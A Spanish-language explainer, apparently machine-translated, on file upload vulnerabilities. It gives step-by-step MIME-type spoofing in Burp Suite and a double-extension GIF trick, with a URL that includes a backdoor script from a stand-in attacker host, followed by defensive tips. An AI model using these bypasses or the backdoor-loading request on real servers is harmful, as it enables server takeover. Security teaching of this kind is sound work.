¿Qué es la falla de carga y cómo puede protegerse de ella?

clientes torrent
clientes torrent

Última actualización: 13 de mayo de 2024

Imagine un sitio web que le permite agregar (o cargar) fotos. Normalmente sólo puedes agregar fotos, como JPEG o PNG. Pero si el sitio no está bien protegido, alguien podría agregar algo más, como un archivo malicioso.

Este error de protección se llama subir falla. Ocurre cuando un sitio web acepta archivos que no debería aceptar.

En este artículo, descubriremos el error de carga. Veremos cómo funciona esta vulnerabilidad, por qué es preocupante y cómo un atacante podría explotarla. También le mostraremos cómo protegerse de él.

información: Es importante tener en cuenta que, aunque hay muchas formas de explotar la vulnerabilidad de carga, aquí solo discutiremos dos métodos específicos. Nuestro objetivo no es proporcionar una guía completa, sino más bien una introducción para comprender el tema. Esto es para que los profesionales de la seguridad y los desarrolladores web estén mejor equipados para defender sus sitios contra este tipo de vulnerabilidades.

¿Cómo funciona la vulnerabilidad de carga?

Empecemos por entender ¿Cuál es el error de carga?.

Esta vulnerabilidad crítica permite a los piratas informáticos eludir las medidas de seguridad al cargar archivos con extensiones normalmente bloqueadas, como código PHP, directamente en su servidor. Esto abre una puerta trasera a intrusiones maliciosas que pueden comprometer todo su servidor.

Un formulario de carga inseguro es una invitación abierta a los piratas informáticos, que pueden enviar un shell web u otro malware. Estos archivos maliciosos les dan control absoluto sobre su aplicación web y su servidor, poniendo en riesgo no solo su sitio sino también los datos confidenciales que contiene.

¿Como sucedió esto?

Ahora que comprende cuál es la falla de carga, probablemente querrá saber cómo sucede.

Tenga en cuenta que muchos sitios web cometen un error simple pero peligroso: solo verifican la extensión del archivo, como .JPEG para las fotos. Pero sólo porque un archivo termine en .JPEG no significa que sea necesariamente inofensivo. Los piratas informáticos son inteligentes y saben muy bien cómo disfrazar sus archivos peligrosos como archivos inofensivos.

Ejemplo simple :

Digamos que tienes una puerta en tu casa que solo se abre para tu familia. Si esa puerta cree que todos los que llevan sombrero son miembros de su familia, entonces alguien con malas intenciones y sombrero podría entrar. Lo mismo ocurre con este defecto: el sitio cree que es una foto, cuando en realidad es algo peligroso.

¿Cómo podría un hacker aprovechar esta falla de carga?

Omitir la comprobación MIME

La primera y más sencilla técnica que utiliza un hacker es manipular el tipo MIME de un archivo para eludir los controles de seguridad al cargar archivos a un servidor.

Por ejemplo, un archivo malicioso con una extensión .php podría disfrazarse de una imagen .jpeg modificando su encabezado MIME para que aparezca como 'imagen/jpeg'. Esto podría engañar al servidor haciéndole creer que está procesando una imagen inofensiva, cuando en realidad es un script PHP que puede ejecutar comandos maliciosos en el servidor.

Para realizar esta prueba en su sitio web, siga estos pasos:

  • En primer lugar, descargar e instalar la herramienta Burp Suite,
  • A continuación, configure su navegador para utilizar el proxy Burp Suite. Para hacer esto, abra Burp Suite y vaya a la pestaña Proxy > Interceptar y haga clic La intercepción está activada..

Ahora Burp Suite está escuchando y configurado como proxy en el navegador. Ahora simplemente envíe un archivo PHP disfrazado de imagen JPG.

Para hacer esto, aquí se explica cómo hacerlo:

  • Abra su sitio web con un formulario de carga inseguro desde el navegador del software Burp Suite.
  • Luego, haga clic en el botón cargar y seleccione el archivo PHP que desea cargar.
  • Ahora en Burp Suite deberías ver la solicitud interceptada.
  • En la pestaña apoderado et historial HTTP, identificar la solicitud de carga del archivo. Haga clic en él para seleccionarlo.
  • En la sección Solicitar encabezados, localice el tipo de contenido, que podría ser texto/php y reemplazarlo con image / jpeg.
  • Haga clic en el botón adelante para pasar la solicitud modificada al servidor.

Si se acepta el archivo, esto podría indicar una vulnerabilidad de seguridad. Tal descubrimiento debería corregirse.

2) Doble extensión

Algunos scripts solo verifican la extensión del archivo, pero un pirata informático puede eludir incluso esta protección utilizando una extensión doble (dependiendo del host).

Así es como funciona:

  • Primero, creamos un archivo GIF. Para ello, abre el programa Paint y crea una imagen de unos pocos píxeles.
  • A continuación, abra nuestro archivo GIF con un editor hexadecimal (como fred, uno de los mejores para esta tarea).
  • Ahora imagina que insertamos código PHP en nuestro GIF y agregamos una extensión doble (.php.gif).
  • En nuestro editor encontramos un espacio vacío donde podemos agregar un encabezado HTML así como la función “incluir”.
  • Entonces obtenemos nuestro archivo .php.gif.
  • Cuando lo subimos, la operación parece tener éxito.
  • Luego podemos acceder a nuestro file.php.gif?test=http://www.sitepirate.com/backdoor.php. Y ahí lo tienes, nuestra puerta trasera está en su lugar.

Esto muestra cómo una simple extensión doble puede permitir a un atacante eludir las comprobaciones e introducir una puerta trasera en el servidor.

Consejos para proteger las funciones de carga

Para evitar vulnerabilidades de carga, siga estas recomendaciones:

  • Utilice bibliotecas bien establecidas y mantenidas para el procesamiento de archivos, como FileField de Django o CarrierWave para Ruby on Rails.
  • Además de verificar la extensión del archivo, realice una verificación del tipo MIME del lado del servidor para asegurarse de que realmente coincida con su extensión.
  • Al guardar archivos, cámbieles el nombre utilizando un nombre generado aleatoriamente o un hash único en lugar de conservar el nombre original. Esto hará que sea más difícil para los atacantes adivinar los nombres de los archivos en su servidor.
  • Asegúrese de que todas las comprobaciones de seguridad se realicen en el lado del servidor. No confíe únicamente en los controles del lado del cliente, ya que pueden pasarse por alto.
  • Considere la posibilidad de utilizar sistemas de almacenamiento dedicados, como Amazon S3 o Google Cloud Storage, para almacenar los archivos cargados.
  • Supervise y analice periódicamente los registros de actividad de carga en busca de actividades sospechosas o patrones inusuales.
  • No permitir ver el índice del directorio de carga. Asigne los permisos correctos al directorio.